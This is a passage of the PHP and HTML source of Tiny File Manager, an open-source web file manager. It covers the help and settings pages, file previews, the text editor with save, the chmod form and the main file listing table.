lng('HideColumns') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label> <div class="col-sm-5"> <select class="form-select w-100" id="js-3-0" name="js-theme-3"> <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option> <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option> </select> </div> </div> <div class="mb-3 row"> <div class="col-sm-10"> <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button> </div> </div> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['help'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header d-flex justify-content-between"> <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span> <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <div class="row"> <div class="col-xs-12 col-sm-6"> <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p> <p>Author: Prasath Mani</p> <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p> </div> <div class="col-xs-12 col-sm-6"> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li> <?php if(!FM_READONLY) { ?> <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li> <?php } ?> </ul> </div> </div> </div> <div class="row js-new-pwd hidden mt-2"> <div class="col-12"> <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action=""> <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true"> <div class="form-group mb-2"> <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label> </div> <div class="form-group mx-sm-3 mb-2"> <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label> <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required> </div> <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button> </form> <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea> </div> </div> </div> </div> </div> <?php fm_show_footer(); exit; } // file viewer if (isset($_GET['view'])) { $file = $_GET['view']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize_raw = fm_get_size($file_path); $filesize = fm_get_filesize($filesize_raw); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text $online_viewer = strtolower(FM_DOC_VIEWER); if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){ $is_onlineViewer = true; } elseif ($ext == 'zip' || $ext == 'tar') { $is_zip = true; $view_title = 'Archive'; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="row"> <div class="col-12"> <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> <?php $display_path = fm_get_display_path($file_path); ?> <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br> <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br> <strong>MIME-type:</strong> <?php echo $mime_type ?><br> <?php // ZIP info if (($is_zip || $is_gzip) && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br> <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br> <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <div class="d-flex align-items-center mb-3"> <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> </form> <b class="ms-2"><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b> <?php // ZIP actions if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <form method="post" class="d-inline ms-2"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button> </form> <form method="post" class="d-inline ms-2"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>"> <input type="hidden" name="tofolder" value="1"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button> </form> <?php } if ($is_text && !FM_READONLY) { ?> <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?> </a></b> <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?> </a></b> <?php } ?> <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b> </div> <?php if($is_onlineViewer) { if($online_viewer == 'google') { echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } else if($online_viewer == 'microsoft') { echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>'.lng('Error while fetching archive info').'</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> </div> <?php fm_show_footer(); exit; } // file editor if (isset($_GET['edit']) && !FM_READONLY) { $file = $_GET['edit']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $editFile = ' : <i><b>'. $file. '</b></i>'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <div class="row"> <div class="col-xs-12 col-sm-5 col-lg-6 pt-1"> <div class="btn-toolbar" role="toolbar"> <?php if (!$isNormalEditor) { ?> <div class="btn-group js-ace-toolbar"> <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button> <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button> <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button> <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button> <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button> <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select> <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select> <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select> </div> <?php } ?> </div> </div> <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1"> <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a> <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a> <?php if ($is_text) { ?> <?php if ($isNormalEditor) { ?> <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a> <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save </button> <?php } else { ?> <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a> <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?> </button> <?php } ?> <?php } ?> </div> </div> <?php if ($is_text && $isNormalEditor) { echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>'; echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>'; } elseif ($is_text) { echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?> </div> <?php fm_show_footer(); exit; } // chmod (not for Windows) if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <?php echo lng('ChangePermissions') ?> </h6> <div class="card-body"> <p class="card-text"> <?php $display_path = fm_get_display_path($file_path); ?> <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="table compact-table <?php echo fm_get_theme(); ?>"> <tr> <td></td> <td><b><?php echo lng('Owner') ?></b></td> <td><b><?php echo lng('Group') ?></b></td> <td><b><?php echo lng('Other') ?></b></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Read') ?></b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Write') ?></b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // --- TINYFILEMANAGER MAIN --- fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path // show alert messages fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white"; ?> <form action="" method="post" class="pt-3"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <div class="table-responsive"> <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table"> <thead class="thead-white"> <tr> <?php if (!FM_READONLY): ?> <th style="width:3%" class="custom-checkbox-header"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()"> <label class="custom-control-label" for="js-select-all-items"></label> </div> </th><?php endif; ?> <th><?php echo lng('Name') ?></th> <th><?php echo lng('Size') ?></th> <th><?php echo lng('Modified') ?></th> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <th><?php echo lng('Perms') ?></th> <th><?php echo lng('Owner') ?></th><?php endif; ?> <th><?php echo lng('Actions') ?></th> </tr> </thead> <?php // link to parent folder if ($parent !== false) { ?> <tr><?php if (!FM_READONLY): ?> <td class="nosort"></td><?php endif; ?> <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td> <td class="border-0" data-order></td> <td class="border-0" data-order></td> <td class="border-0"></td> <?php if (!FM_IS_WIN && !$hide_Cols) { ?> <td class="border-0"></td> <td class="border-0"></td> <?php } ?> </tr> <?php } $ii = 3399; foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o'; $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw)); $filesize_raw = ""; $filesize = lng('Folder'); $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); if ($owner === false) { $owner = array('name' => '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ii ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>> <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div> </td> <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>"> <?php echo $filesize; ?> </td> <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo $owner['name'] . ':' . $group['name'] ?></td> <?php endif; ?> <td class="inline-actions"><?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a> <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> <a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a> </td> </tr> <?php flush(); $ii++; } $ik = 6070; foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f); $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw)); $filesize_raw = fm_get_size($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); if ($owner === false) { $owner = array('name' => '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ik ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_enc($f) ?>> <div class="filename"> <?php if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?> <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?> <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>"> <?php else: ?> <a href="<?php echo $filelink ?>" title="<?php echo $f ?>"> <?php endif; ?> <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a> <?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?> </div> </td> <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>"> <?php echo $filesize; ?> </span></td> <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td class="inline-actions"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a> <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a> <a title="<?php echo lng('CopyTo') ?>..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a> <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a> </td> </tr> <?php flush(); $ik++; } if (empty($folders) && empty($files)) { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td></td><?php endif; ?> <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td> </tr> </tfoot> <?php } else { ?> <tfoot> <tr> <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>"> <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?> <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?> <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?> </td> </tr> </tfoot> <?php } ?> </table> </div> <div class="row"> <?php if (!FM_READONLY): ?> <div class="col-xs-12 col-sm-9"> <ul class="list-inline footer-action"> <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')"> <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy"> <a 